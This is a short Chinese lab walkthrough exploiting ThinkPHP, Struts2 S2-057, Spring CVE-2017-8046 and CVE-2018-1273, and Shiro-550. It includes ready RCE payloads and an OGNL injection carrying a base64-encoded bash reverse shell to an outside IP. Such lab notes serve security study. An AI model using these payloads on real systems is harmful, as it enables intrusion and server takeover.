一、ThinkPHP
启动环境并访问
紧接着我们运行远程命令,执行以下poc:? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami来查看是否可以执行
接下来我们反弹shell即可
二、struts2
S2-057远程执行代码漏洞
启动环境并访问
接下来我们使用poc查看是否会执行http://121.40.229.129:8081/struts2-showcase/${(123+123)}/actionChain1.action,查看中间是否执行
发现执行,我们接下来插入攻击语句即可
$%7B%0D%0A(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request%5B'struts.valueStack'%5D.context).(#cr=#ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash%20-c%20%7Becho,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Mi4yLjg2Lzg4ODggMD4mMQ==%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))%7D
反弹到我们服务器的8888端口,将反弹shell的命令经过base64编码
紧接着,我们开启监听
紧接着反弹即可
三、spring
CVE-2017-8046
首先开启环境并监听
紧接着在网址后面拼接/customers/1,紧接着抓包并修改请求方法
接下来进入容器查看是否执行成功
CVE-2018-1273
启动环境并访问
接下来在网站后面拼接/users
接下来填写登录信息,然后抓包并添加poc:username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/111")]=&password=&repeatedPassword=
最后进入终端查看
反弹shell则是远程下载文件即可
四、Shiro
Shiro-550
启动环境并访问
我们直接使用工具来判断是否有漏洞
发现存在漏洞,我们在命令执行区添加一个反弹shell的文件,然后开启监听并执行命令即可